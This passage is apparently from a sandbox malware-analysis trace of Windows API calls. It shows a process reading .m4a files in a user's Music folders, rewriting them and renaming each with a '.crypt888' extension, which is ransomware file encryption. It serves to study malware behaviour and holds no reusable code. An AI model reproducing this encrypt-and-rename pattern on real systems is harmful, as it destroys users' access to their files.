halpmcxz\\music\\r1xxda8olt\\2nmzrshxl3ded.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\2nmzrshxl3ded.m4a.crypt888")) returned 1 [0083.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", lpFilePart=0x0) returned 0x46 [0083.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\juz2ihgiperlroa7u 4.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.212] GetFileType (hFile=0x174) returned 0x1 [0083.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.213] GetFileType (hFile=0x174) returned 0x1 [0083.213] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x124f8 [0083.213] ReadFile (in: hFile=0x174, lpBuffer=0x287fc90, nNumberOfBytesToRead=0x124f8, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x287fc90*, lpNumberOfBytesRead=0x39ed24*=0x124f8, lpOverlapped=0x0) returned 1 [0083.214] CloseHandle (hObject=0x174) returned 1 [0083.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", lpFilePart=0x0) returned 0x46 [0083.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\juz2ihgiperlroa7u 4.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.269] GetFileType (hFile=0x174) returned 0x1 [0083.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.269] GetFileType (hFile=0x174) returned 0x1 [0083.269] WriteFile (in: hFile=0x174, lpBuffer=0x2716b94*, nNumberOfBytesToWrite=0x12500, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2716b94*, lpNumberOfBytesWritten=0x39ed14*=0x12500, lpOverlapped=0x0) returned 1 [0083.271] CloseHandle (hObject=0x174) returned 1 [0083.276] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a", lpFilePart=0x0) returned 0x46 [0083.276] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a.crypt888", lpFilePart=0x0) returned 0x4f [0083.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\juz2ihgiperlroa7u 4.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdb6a20, ftCreationTime.dwHighDateTime=0x1d45efd, ftLastAccessTime.dwLowDateTime=0x33f1bfc0, ftLastAccessTime.dwHighDateTime=0x1d46574, ftLastWriteTime.dwLowDateTime=0xc2d65680, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x12500)) returned 1 [0083.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.277] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\juz2ihgiperlroa7u 4.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\juz2iHgIpeRLroA7U 4.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\juz2ihgiperlroa7u 4.m4a.crypt888")) returned 1 [0083.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", lpFilePart=0x0) returned 0x3d [0083.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\rukj2-ayrg.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.278] GetFileType (hFile=0x174) returned 0x1 [0083.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.278] GetFileType (hFile=0x174) returned 0x1 [0083.278] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x17913 [0083.278] ReadFile (in: hFile=0x174, lpBuffer=0x378cbe0, nNumberOfBytesToRead=0x17913, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x378cbe0*, lpNumberOfBytesRead=0x39ed24*=0x17913, lpOverlapped=0x0) returned 1 [0083.279] CloseHandle (hObject=0x174) returned 1 [0083.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", lpFilePart=0x0) returned 0x3d [0083.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\rukj2-ayrg.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.299] GetFileType (hFile=0x174) returned 0x1 [0083.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.299] GetFileType (hFile=0x174) returned 0x1 [0083.299] WriteFile (in: hFile=0x174, lpBuffer=0x38029b0*, nNumberOfBytesToWrite=0x17920, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x38029b0*, lpNumberOfBytesWritten=0x39ed14*=0x17920, lpOverlapped=0x0) returned 1 [0083.302] CloseHandle (hObject=0x174) returned 1 [0083.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a", lpFilePart=0x0) returned 0x3d [0083.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a.crypt888", lpFilePart=0x0) returned 0x46 [0083.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.305] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\rukj2-ayrg.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f846c20, ftCreationTime.dwHighDateTime=0x1d46269, ftLastAccessTime.dwLowDateTime=0x5564a900, ftLastAccessTime.dwHighDateTime=0x1d45882, ftLastWriteTime.dwLowDateTime=0xc2db1940, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x17920)) returned 1 [0083.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.305] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\rukj2-ayrg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Rukj2-AYrg.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\rukj2-ayrg.m4a.crypt888")) returned 1 [0083.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0083.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q", lpFilePart=0x0) returned 0x34 [0083.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\", lpFilePart=0x0) returned 0x35 [0083.306] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.307] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.308] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.308] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0083.308] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0083.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0083.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0083.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q", lpFilePart=0x0) returned 0x34 [0083.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\", lpFilePart=0x0) returned 0x35 [0083.308] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0083.309] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0083.310] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0083.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0083.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0083.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV", lpFilePart=0x0) returned 0x40 [0083.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\", lpFilePart=0x0) returned 0x41 [0083.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0083.314] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.315] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0083.315] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0083.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0083.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0083.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV", lpFilePart=0x0) returned 0x40 [0083.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\", lpFilePart=0x0) returned 0x41 [0083.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0083.316] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.316] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0083.318] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0083.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0083.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0083.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41", lpFilePart=0x0) returned 0x48 [0083.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\", lpFilePart=0x0) returned 0x49 [0083.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0083.319] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.320] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0083.320] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0083.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0083.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0083.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41", lpFilePart=0x0) returned 0x48 [0083.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\", lpFilePart=0x0) returned 0x49 [0083.321] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.322] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.323] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0083.323] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0083.323] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0083.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0083.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", lpFilePart=0x0) returned 0x60 [0083.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0083.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\6woqk nhftv\\xjkdd41\\isi-3zadokmril9nbmn.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.324] GetFileType (hFile=0x174) returned 0x1 [0083.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0083.324] GetFileType (hFile=0x174) returned 0x1 [0083.324] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xe20e [0083.324] ReadFile (in: hFile=0x174, lpBuffer=0x277f214, nNumberOfBytesToRead=0xe20e, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x277f214*, lpNumberOfBytesRead=0x39ec88*=0xe20e, lpOverlapped=0x0) returned 1 [0083.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk nHFtV\\xJkdD41\\ISi-3ZAdokMRil9nbmN.m4a", lpFilePart=0x0) returned 0x60 [0083.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0083.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\6WOqk 